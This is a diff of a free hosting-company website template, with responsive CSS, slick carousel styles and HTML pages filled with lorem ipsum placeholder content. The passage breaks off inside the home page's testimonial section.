.band_text {
width: 80%;
}
.pricing_box {
margin-top: 30px;
}
.services_text {
font-size: 14px;
}
.services_section_2 {
padding-top: 50px;
}
.service_box {
margin-top: 30px;
}
#main_slider a.carousel-control-next{
display: none;
}
#main_slider a.carousel-control-prev{
display: none;
}
.testimonial_text {
font-size: 14px;
}
.testimonial_section_2 {
padding: 30px 10px;
}
.ipsum_text {
font-size: 14px;
}
.newslatter_taital {
font-size: 26px;
}
form.example input[type=text] {
width: 60%;
}
form.example button {
width: 38%;
}
.mail_section_1 {
width: 100%;
}
.footer_section{
padding: 50px 0px;
}
.footer_main {
width: 100%;
float: left;
}
.footer_text {
font-size: 26px;
}
.footer_menu li a {
font-size: 14px;
}
.location_text li {
font-size: 12px;
}
p.dummy_text {
width: 70%;
font-size: 12px;
}
.social_icon li a {
width: 45px;
}
}
@media (max-width: 575px) {
.header_section {
background-size: cover;
}
.navbar-expand-lg {
padding: 15px 0px;
}
.navbar-light .navbar-nav .nav-link {
padding: 10px 0px;
margin: 0 auto;
width: 170px;
text-align: center;
margin-top: 10px;
}
.navbar-brand {
width: auto;
padding: 0px;
}
.navbar {
padding: 10px 0px;
}
.navbar-toggler {
background-color: #fff;
border: 1px solid #fff;
}
.navbar-nav.ml-auto {
display: block;
}
.search_btn {
display: none;
}
.custom_menu{
display: none;
}
.banner_taital {
padding-top: 40px;
}
.domain_section {
display: none;
}
.banner_img {
margin-top: 20px;
}
#my_slider a.carousel-control-prev {
left: 0px;
top: 290px;
}
#my_slider a.carousel-control-next {
right: 0px;
top: 290px;
}
.about_box {
box-shadow: 0px 0px 50px 0px #dddddd;
margin-top: 60px;
}
.hosting_section {
background-size: cover;
}
.hosting_taital {
font-size: 28px;
text-align: center;
}
.hosting_text {
font-size: 15px;
}
.hosting_img {
display: block;
margin-top: 30px;
}
.pricing_taital {
font-size: 30px;
}
.pricing_text {
font-size: 14px;
}
.band_text {
width: 80%;
}
.pricing_box {
margin-top: 30px;
}
.services_text {
font-size: 14px;
}
.services_section_2 {
padding-top: 50px;
}
.service_box {
margin-top: 30px;
}
#main_slider a.carousel-control-next{
display: none;
}
#main_slider a.carousel-control-prev{
display: none;
}
.testimonial_text {
font-size: 14px;
}
.testimonial_section_2 {
padding: 30px 10px;
}
.ipsum_text {
font-size: 14px;
}
.newslatter_taital {
font-size: 26px;
}
form.example input[type=text] {
width: 60%;
}
form.example button {
width: 38%;
}
.mail_section_1 {
width: 100%;
}
.footer_section{
padding: 50px 0px;
}
.footer_main {
width: 70%;
float: left;
}
.footer_text {
padding-top: 30px;
}
}

View File

@@ -0,0 +1,108 @@
/*---------------------------------------------------------------------
File Name: slick.css
---------------------------------------------------------------------*/
.slick-slider {
position: relative;
display: block;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
-webkit-touch-callout: none;
-khtml-user-select: none;
-ms-touch-action: pan-y;
touch-action: pan-y;
-webkit-tap-highlight-color: transparent;
}
.slick-list {
position: relative;
display: block;
overflow: hidden;
margin: 0;
padding: 0;
}
.slick-list:focus {
outline: none;
}
.slick-list.dragging {
cursor: pointer;
cursor: hand;
}
.slick-slider .slick-track,
.slick-slider .slick-list {
-webkit-transform: translate3d(0, 0, 0);
-moz-transform: translate3d(0, 0, 0);
-ms-transform: translate3d(0, 0, 0);
-o-transform: translate3d(0, 0, 0);
transform: translate3d(0, 0, 0);
}
.slick-track {
position: relative;
top: 0;
left: 0;
display: block;
}
.slick-track:before,
.slick-track:after {
display: table;
content: '';
}
.slick-track:after {
clear: both;
}
.slick-loading .slick-track {
visibility: hidden;
}
.slick-slide {
display: none;
float: left;
height: 100%;
min-height: 1px;
}
[dir='rtl'] .slick-slide {
float: right;
}
.slick-slide img {
display: block;
}
.slick-slide.slick-loading img {
display: none;
}
.slick-slide.dragging img {
pointer-events: none;
}
.slick-initialized .slick-slide {
display: block;
}
.slick-loading .slick-slide {
visibility: hidden;
}
.slick-vertical .slick-slide {
display: block;
height: auto;
border: 1px solid transparent;
}
.slick-arrow.slick-hidden {
display: none;
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,207 @@
<!DOCTYPE html>
<html>
<head>
<!-- basic -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- mobile metas -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
<!-- site metas -->
<title>Domain</title>
<meta name="keywords" content="">
<meta name="description" content="">
<meta name="author" content="">
<!-- bootstrap css -->
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
<!-- style css -->
<link rel="stylesheet" type="text/css" href="css/style.css">
<!-- Responsive-->
<link rel="stylesheet" href="css/responsive.css">
<!-- fevicon -->
<link rel="icon" href="images/fevicon.png" type="image/gif" />
<!-- fonts -->
<link href="https://fonts.googleapis.com/css?family=Poppins:400,700|Sen:400,700,800&display=swap" rel="stylesheet">
<!-- Scrollbar Custom CSS -->
<link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css">
<!-- Tweaks for older IEs-->
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
</head>
<body>
<div class="header_section">
<div class="container">
<nav class="navbar navbar-expand-lg navbar-light bg-light">
<a class="navbar-brand"href="index.html"><img src="images/logo.png"></a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a class="nav-link" href="index.html">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html">About</a>
</li>
<li class="nav-item">
<a class="nav-link" href="hosting.html">Hosting</a>
</li>
<li class="nav-item">
<a class="nav-link" href="testimonial.html">Testimonial</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="domain.html">Domain</a>
</li>
<li class="nav-item">
<a class="nav-link" href="services.html">Services</a>
</li>
<li class="nav-item">
<a class="nav-link" href="contact.html">Contact Us</a>
</li>
</ul>
<form class="form-inline my-2 my-lg-0">
</form>
</div>
</nav>
<div class="custom_bg">
<div class="custom_menu">
<ul>
<li><a href="index.html">Home</a></li>
<li><a href="#">About</a></li>
<li><a href="hosting.html">Hosting</a></li>
<li><a href="testimonial.html">Testimonial</a></li>
<li class="active"><a href="domain.html">Domain</a></li>
<li><a href="services.html">Services</a></li>
<li><a href="contact.html">Contact Us</a></li>
</ul>
</div>
<form class="form-inline my-2 my-lg-0">
<div class="search_btn">
<li><a href="#"><i class="fa fa-search" aria-hidden="true"></i></a></li>
<li><a href="#"><i class="fa fa-shopping-cart" aria-hidden="true"></i></a></li>
</div>
</form>
</div>
</div>
</div>
<!-- header section end -->
<!-- pricing section start -->
<div class="pricing_section layout_padding">
<div class="container">
<div class="row">
<div class="col-md-12">
<h1 class="pricing_taital">Our Pricing Plan</h1>
<p class="pricing_text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore </p>
</div>
</div>
<div class="pricing_section_2">
<div class="row">
<div class="col-md-4">
<div class="pricing_box">
<h3 class="number_text">1</h3>
<h5 class="cloud_text">Cloud Hosting</h5>
<h1 class="dolor_text">$19</h1>
<h3 class="monthly_text">MONTHLY</h3>
<p class="band_text">5GB bandwidth Free Email Addresses 24/7 security monitoring</p>
<div class="signup_bt"><a href="#">Sign Up</a></div>
</div>
</div>
<div class="col-md-4">
<div class="pricing_box">
<h3 class="number_text">2</h3>
<h5 class="cloud_text">VPS Hosting</h5>
<h1 class="dolor_text">$19</h1>
<h3 class="monthly_text">MONTHLY</h3>
<p class="band_text">5GB bandwidth Free Email Addresses 24/7 security monitoring</p>
<div class="signup_bt"><a href="#">Sign Up</a></div>
</div>
</div>
<div class="col-md-4">
<div class="pricing_box">
<h3 class="number_text">3</h3>
<h5 class="cloud_text">Shared Hosting</h5>
<h1 class="dolor_text">$19</h1>
<h3 class="monthly_text">MONTHLY</h3>
<p class="band_text">5GB bandwidth Free Email Addresses 24/7 security monitoring</p>
<div class="signup_bt"><a href="#">Sign Up</a></div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- pricing section end -->
<!-- footer section start -->
<div class="footer_section layout_padding">
<div class="container">
<div class="row">
<div class="col-sm-4">
<h3 class="footer_text">Useful links</h3>
<div class="footer_menu">
<ul>
<li class="active"><a href="index.html"><span class="angle_icon active"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Home</a></li>
<li><a href="#"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> About</a></li>
<li><a href="services.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Services</a></li>
<li><a href="domain.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Domain</a></li>
<li><a href="testimonial.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Testimonial</a></li>
<li><a href="contact.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Contact Us</a></li>
</ul>
</div>
</div>
<div class="col-sm-4">
<h3 class="footer_text">Address</h3>
<div class="location_text">
<ul>
<li>
<a href="#">
<span class="padding_left_10"><i class="fa fa-map-marker" aria-hidden="true"></i></span>It is a long established fact that a<br> reader will be distracted</a>
</li>
<li>
<a href="#">
<span class="padding_left_10"><i class="fa fa-phone" aria-hidden="true"></i></span>(+71) 1234567890<br>(+71) 1234567890
</a>
</li>
<li>
<a href="#">
<span class="padding_left_10"><i class="fa fa-envelope" aria-hidden="true"></i></span>demo@gmail.com
</a>
</li>
</ul>
</div>
</div>
<div class="col-sm-4">
<div class="footer_main">
<h3 class="footer_text">Find Us</h3>
<p class="dummy_text">more-or-less normal distribution </p>
<div class="social_icon">
<ul>
<li><a href="#"><i class="fa fa-facebook" aria-hidden="true"></i></a></li>
<li><a href="#"><i class="fa fa-twitter" aria-hidden="true"></i></a></li>
<li><a href="#"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- footer section end -->
<!-- copyright section start -->
<div class="copyright_section">
<div class="container">
<p class="copyright_text">2020 All Rights Reserved. Design by <a href="https://html.design">Free Html Templates</a>. Distributed by <a href="https://themewagon.com" target="_blank">ThemeWagon</a></p>
</div>
</div>
<!-- copyright section end -->
<!-- Javascript files-->
<script src="js/jquery.min.js"></script>
<script src="js/popper.min.js"></script>
<script src="js/bootstrap.bundle.min.js"></script>
<script src="js/jquery-3.0.0.min.js"></script>
<script src="js/plugin.js"></script>
<!-- sidebar -->
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
<script src="js/custom.js"></script>
</body>
</html>

View File

@@ -0,0 +1,177 @@
<!DOCTYPE html>
<html>
<head>
<!-- basic -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- mobile metas -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
<!-- site metas -->
<title>Hosting</title>
<meta name="keywords" content="">
<meta name="description" content="">
<meta name="author" content="">
<!-- bootstrap css -->
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
<!-- style css -->
<link rel="stylesheet" type="text/css" href="css/style.css">
<!-- Responsive-->
<link rel="stylesheet" href="css/responsive.css">
<!-- fevicon -->
<link rel="icon" href="images/fevicon.png" type="image/gif" />
<!-- fonts -->
<link href="https://fonts.googleapis.com/css?family=Poppins:400,700|Sen:400,700,800&display=swap" rel="stylesheet">
<!-- Scrollbar Custom CSS -->
<link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css">
<!-- Tweaks for older IEs-->
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
</head>
<body>
<div class="header_section">
<div class="container">
<nav class="navbar navbar-expand-lg navbar-light bg-light">
<a class="navbar-brand"href="index.html"><img src="images/logo.png"></a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a class="nav-link" href="index.html">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html">About</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="hosting.html">Hosting</a>
</li>
<li class="nav-item">
<a class="nav-link" href="testimonial.html">Testimonial</a>
</li>
<li class="nav-item">
<a class="nav-link" href="domain.html">Domain</a>
</li>
<li class="nav-item">
<a class="nav-link" href="services.html">Services</a>
</li>
<li class="nav-item">
<a class="nav-link" href="contact.html">Contact Us</a>
</li>
</ul>
<form class="form-inline my-2 my-lg-0">
</form>
</div>
</nav>
<div class="custom_bg">
<div class="custom_menu">
<ul>
<li><a href="index.html">Home</a></li>
<li><a href="#">About</a></li>
<li class="active"><a href="hosting.html">Hosting</a></li>
<li><a href="testimonial.html">Testimonial</a></li>
<li><a href="domain.html">Domain</a></li>
<li><a href="services.html">Services</a></li>
<li><a href="contact.html">Contact Us</a></li>
</ul>
</div>
<form class="form-inline my-2 my-lg-0">
<div class="search_btn">
<li><a href="#"><i class="fa fa-search" aria-hidden="true"></i></a></li>
<li><a href="#"><i class="fa fa-shopping-cart" aria-hidden="true"></i></a></li>
</div>
</form>
</div>
</div>
</div>
<!-- header section end -->
<!-- hosting section start -->
<div class="hosting_section layout_padding">
<div class="container">
<div class="row">
<div class="col-md-6">
<h1 class="hosting_taital">GRID WEB HOSTING OVERVIEW</h1>
<p class="hosting_text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud </p>
<div class="click_bt"><a href="#">Click Here</a></div>
</div>
<div class="col-md-6">
<div class="hosting_img"><img src="images/hosting-img.png"></div>
</div>
</div>
</div>
</div>
<!-- hosting section end -->
<!-- footer section start -->
<div class="footer_section layout_padding">
<div class="container">
<div class="row">
<div class="col-sm-4">
<h3 class="footer_text">Useful links</h3>
<div class="footer_menu">
<ul>
<li class="active"><a href="index.html"><span class="angle_icon active"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Home</a></li>
<li><a href="#"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> About</a></li>
<li><a href="services.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Services</a></li>
<li><a href="domain.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Domain</a></li>
<li><a href="testimonial.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Testimonial</a></li>
<li><a href="contact.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Contact Us</a></li>
</ul>
</div>
</div>
<div class="col-sm-4">
<h3 class="footer_text">Address</h3>
<div class="location_text">
<ul>
<li>
<a href="#">
<span class="padding_left_10"><i class="fa fa-map-marker" aria-hidden="true"></i></span>It is a long established fact that a<br> reader will be distracted</a>
</li>
<li>
<a href="#">
<span class="padding_left_10"><i class="fa fa-phone" aria-hidden="true"></i></span>(+71) 1234567890<br>(+71) 1234567890
</a>
</li>
<li>
<a href="#">
<span class="padding_left_10"><i class="fa fa-envelope" aria-hidden="true"></i></span>demo@gmail.com
</a>
</li>
</ul>
</div>
</div>
<div class="col-sm-4">
<div class="footer_main">
<h3 class="footer_text">Find Us</h3>
<p class="dummy_text">more-or-less normal distribution </p>
<div class="social_icon">
<ul>
<li><a href="#"><i class="fa fa-facebook" aria-hidden="true"></i></a></li>
<li><a href="#"><i class="fa fa-twitter" aria-hidden="true"></i></a></li>
<li><a href="#"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- footer section end -->
<!-- copyright section start -->
<div class="copyright_section">
<div class="container">
<p class="copyright_text">2020 All Rights Reserved. Design by <a href="https://html.design">Free Html Templates</a>. Distributed by <a href="https://themewagon.com" target="_blank">ThemeWagon</a></p>
</div>
</div>
<!-- copyright section end -->
<!-- Javascript files-->
<script src="js/jquery.min.js"></script>
<script src="js/popper.min.js"></script>
<script src="js/bootstrap.bundle.min.js"></script>
<script src="js/jquery-3.0.0.min.js"></script>
<script src="js/plugin.js"></script>
<!-- sidebar -->
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
<script src="js/custom.js"></script>
</body>
</html>

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 426 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 461 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 336 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

View File

@@ -0,0 +1,527 @@
<!DOCTYPE html>
<html>
<head>
<!-- basic -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- mobile metas -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
<!-- site metas -->
<title>Netic</title>
<meta name="keywords" content="">
<meta name="description" content="">
<meta name="author" content="">
<!-- bootstrap css -->
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
<!-- style css -->
<link rel="stylesheet" type="text/css" href="css/style.css">
<!-- Responsive-->
<link rel="stylesheet" href="css/responsive.css">
<!-- fevicon -->
<link rel="icon" href="images/fevicon.png" type="image/gif" />
<!-- fonts -->
<link href="https://fonts.googleapis.com/css?family=Poppins:400,700|Sen:400,700,800&display=swap" rel="stylesheet">
<!-- Scrollbar Custom CSS -->
<link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css">
<!-- Tweaks for older IEs-->
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
</head>
<body>
<div class="header_section">
<div class="container">
<nav class="navbar navbar-expand-lg navbar-light bg-light">
<a class="navbar-brand"href="index.html"><img src="images/logo.png"></a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item active">
<a class="nav-link" href="index.html">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html">About</a>
</li>
<li class="nav-item">
<a class="nav-link" href="hosting.html">Hosting</a>
</li>
<li class="nav-item">
<a class="nav-link" href="testimonial.html">Testimonial</a>
</li>
<li class="nav-item">
<a class="nav-link" href="domain.html">Domain</a>
</li>
<li class="nav-item">
<a class="nav-link" href="services.html">Services</a>
</li>
<li class="nav-item">
<a class="nav-link" href="contact.html">Contact Us</a>
</li>
</ul>
<form class="form-inline my-2 my-lg-0">
</form>
</div>
</nav>
<div class="custom_bg">
<div class="custom_menu">
<ul>
<li class="active"><a href="index.html">Home</a></li>
<li><a href="#">About</a></li>
<li><a href="hosting.html">Hosting</a></li>
<li><a href="testimonial.html">Testimonial</a></li>
<li><a href="domain.html">Domain</a></li>
<li><a href="services.html">Services</a></li>
<li><a href="contact.html">Contact Us</a></li>
</ul>
</div>
<form class="form-inline my-2 my-lg-0">
<div class="search_btn">
<li><a href="#"><i class="fa fa-search" aria-hidden="true"></i></a></li>
<li><a href="#"><i class="fa fa-shopping-cart" aria-hidden="true"></i></a></li>
</div>
</form>
</div>
</div>
<!-- banner section start -->
<div class="banner_section layout_padding">
<div id="my_slider" class="carousel slide" data-ride="carousel">
<div class="carousel-inner">
<div class="carousel-item active">
<div class="container">
<div class="row">
<div class="col-md-6">
<h1 class="banner_taital">Hosting <br>And Domain</h1>
<div class="read_bt"><a href="#">Read More</a></div>
</div>
<div class="col-md-6">
<div class="banner_img"><img src="images/banner-img.png"></div>
</div>
</div>
</div>
</div>
<div class="carousel-item">
<div class="container">
<div class="row">
<div class="col-md-6">
<h1 class="banner_taital">Hosting <br>And Domain</h1>
<div class="read_bt"><a href="#">Read More</a></div>
</div>
<div class="col-md-6">
<div class="banner_img"><img src="images/banner-img.png"></div>
</div>
</div>
</div>
</div>
<div class="carousel-item">
<div class="container">
<div class="row">
<div class="col-md-6">
<h1 class="banner_taital">Hosting <br>And Domain</h1>
<div class="read_bt"><a href="#">Read More</a></div>
</div>
<div class="col-md-6">
<div class="banner_img"><img src="images/banner-img.png"></div>
</div>
</div>
</div>
</div>
</div>
<a class="carousel-control-prev" href="#my_slider" role="button" data-slide="prev">
<i class="fa fa-angle-left"></i>
</a>
<a class="carousel-control-next" href="#my_slider" role="button" data-slide="next">
<i class="fa fa-angle-right"></i>
</a>
</div>
</div>
<!-- banner section end -->
</div>
<!-- header section end -->
<!-- domain section start -->
<div class="domain_section">
<div class="container">
<div class="domain_box">
<div class="domain_rate">
<ul>
<li><a href="#"><span style="color: #8b2791;">.com</span> $11.25</a></li>
<li><a href="#"><span style="color: #8b2791;">.org</span> $12.50</a></li>
<li><a href="#"><span style="color: #8b2791;">.net</span> $14.50 </a></li>
<li><a href="#"><span style="color: #8b2791;">.com</span> $11.50</a></li>
<li><a href="#"><span style="color: #8b2791;">info</span> $9.00</a></li>
<li><a href="#"><span style="color: #8b2791;">xyz</span> $0.99</a></li>
</ul>
</div>
<div class="domain_main">
<form class="example" action="#">
<input type="text" placeholder="Search Domain.." name="Search Domain..">
<button type="submit">Search Now</button>
</form>
</div>
</div>
</div>
</div>
<!-- domain section end -->
<!-- about section start -->
<div class="about_section layout_padding">
<div class="container">
<div class="row">
<div class="col-md-4">
<div class="about_box">
<div class="icon_1"><img src="images/icon-1.png"></div>
<h3 class="faster_text">Faster Loading Speed</h3>
<p class="lorem_text">ike readable English. Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text,</p>
</div>
</div>
<div class="col-md-4">
<div class="about_box">
<div class="icon_1"><img src="images/icon-2.png"></div>
<h3 class="faster_text">Faster Loading Speed</h3>
<p class="lorem_text">ike readable English. Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text,</p>
</div>
</div>
<div class="col-md-4">
<div class="about_box">
<div class="icon_1"><img src="images/icon-3.png"></div>
<h3 class="faster_text">Faster Loading Speed</h3>
<p class="lorem_text">ike readable English. Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text,</p>
</div>
</div>
</div>
</div>
</div>
<!-- about section end -->
<!-- hosting section start -->
<div class="hosting_section layout_padding">
<div class="container">
<div class="row">
<div class="col-md-6">
<h1 class="hosting_taital">GRID WEB HOSTING OVERVIEW</h1>
<p class="hosting_text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud </p>
<div class="click_bt"><a href="#">Click Here</a></div>
</div>
<div class="col-md-6">
<div class="hosting_img"><img src="images/hosting-img.png"></div>
</div>
</div>
</div>
</div>
<!-- hosting section end -->
<!-- pricing section start -->
<div class="pricing_section layout_padding">
<div class="container">
<div class="row">
<div class="col-md-12">
<h1 class="pricing_taital">Our Pricing Plan</h1>
<p class="pricing_text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore </p>
</div>
</div>
<div class="pricing_section_2">
<div class="row">
<div class="col-md-4">
<div class="pricing_box">
<h3 class="number_text">1</h3>
<h5 class="cloud_text">Cloud Hosting</h5>
<h1 class="dolor_text">$19</h1>
<h3 class="monthly_text">MONTHLY</h3>
<p class="band_text">5GB bandwidth Free Email Addresses 24/7 security monitoring</p>
<div class="signup_bt"><a href="#">Sign Up</a></div>
</div>
</div>
<div class="col-md-4">
<div class="pricing_box">
<h3 class="number_text">2</h3>
<h5 class="cloud_text">VPS Hosting</h5>
<h1 class="dolor_text">$19</h1>
<h3 class="monthly_text">MONTHLY</h3>
<p class="band_text">5GB bandwidth Free Email Addresses 24/7 security monitoring</p>
<div class="signup_bt"><a href="#">Sign Up</a></div>
</div>
</div>
<div class="col-md-4">
<div class="pricing_box">
<h3 class="number_text">3</h3>
<h5 class="cloud_text">Shared Hosting</h5>
<h1 class="dolor_text">$19</h1>
<h3 class="monthly_text">MONTHLY</h3>
<p class="band_text">5GB bandwidth Free Email Addresses 24/7 security monitoring</p>
<div class="signup_bt"><a href="#">Sign Up</a></div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- pricing section end -->
<!-- services section start -->
<div class="services_section layout_padding">
<div class="container">
<div class="row">
<div class="col-md-12">
<h1 class="services_taital">Our Services</h1>
<p class="services_text">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore </p>
</div>
</div>
<div class="services_section_2">
<div id="main_slider"class="carousel slide" data-ride="carousel">
<div class="carousel-inner">
<div class="carousel-item active">
<div class="row">
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="images/icon-4.png" class="image_1">
<img src="images/icon-7.png" class="image_2">
</div>
<h3 class="wordpress_text">WordPress Hosting</h3>
<p class="opposed_text">opposed to using 'Content here, content here', making it look like readable</p>
</div>
</div>
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="images/icon-5.png" class="image_1">
<img src="images/icon-5.png" class="image_2">
</div>
<h3 class="wordpress_text">Cloud Hosting</h3>
<p class="opposed_text">opposed to using 'Content here, content here', making it look like readable</p>
</div>
</div>
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="images/icon-6.png" class="image_1">
<img src="images/icon-9.png" class="image_2">
</div>
<h3 class="wordpress_text">Dedicated Hosting</h3>
<p class="opposed_text">opposed to using 'Content here, content here', making it look like readable</p>
</div>
</div>
</div>
</div>
<div class="carousel-item">
<div class="row">
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="images/icon-4.png" class="image_1">
<img src="images/icon-7.png" class="image_2">
</div>
<h3 class="wordpress_text">WordPress Hosting</h3>
<p class="opposed_text">opposed to using 'Content here, content here', making it look like readable</p>
</div>
</div>
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="images/icon-5.png" class="image_1">
<img src="images/icon-5.png" class="image_2">
</div>
<h3 class="wordpress_text">Cloud Hosting</h3>
<p class="opposed_text">opposed to using 'Content here, content here', making it look like readable</p>
</div>
</div>
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="images/icon-6.png" class="image_1">
<img src="images/icon-9.png" class="image_2">
</div>
<h3 class="wordpress_text">Dedicated Hosting</h3>
<p class="opposed_text">opposed to using 'Content here, content here', making it look like readable</p>
</div>
</div>
</div>
</div>
<div class="carousel-item">
<div class="row">
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="images/icon-4.png" class="image_1">
<img src="images/icon-7.png" class="image_2">
</div>
<h3 class="wordpress_text">WordPress Hosting</h3>
<p class="opposed_text">opposed to using 'Content here, content here', making it look like readable</p>
</div>
</div>
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="images/icon-5.png" class="image_1">
<img src="images/icon-5.png" class="image_2">
</div>
<h3 class="wordpress_text">Cloud Hosting</h3>
<p class="opposed_text">opposed to using 'Content here, content here', making it look like readable</p>
</div>
</div>
<div class="col-md-4">
<div class="service_box">
<div class="services_icon">
<img src="images/icon-6.png" class="image_1">
<img src="images/icon-9.png" class="image_2">
</div>
<h3 class="wordpress_text">Dedicated Hosting</h3>
<p class="opposed_text">opposed to using 'Content here, content here', making it look like readable</p>
</div>
</div>
</div>
</div>
</div>
<a class="carousel-control-prev" href="#main_slider" role="button" data-slide="prev">
<i class="fa fa-angle-left"></i>
</a>
<a class="carousel-control-next" href="#main_slider" role="button" data-slide="next">
<i class="fa fa-angle-right"></i>
</a>
</div>
</div>
</div>
</div>
<!-- services section end -->
<!-- testimonial section start -->
<div class="testimonial_section layout_padding">
<div class="container">
<div id="carouselExampleIndicators" class="carousel slide" data-ride="carousel">
<ol class="carousel-indicators">
<li data-target="#carouselExampleIndicators" data-slide-to="0" class="active"></li>
<li data-target="#carouselExampleIndicators" data-slide-to="1"></li>
<li data-target="#carouselExampleIndicators" data-slide-to="2"></li>
</ol>
<div class="carousel-inner">
<div class="carousel-item active">
<div class="row">
<div class="col-md-12">
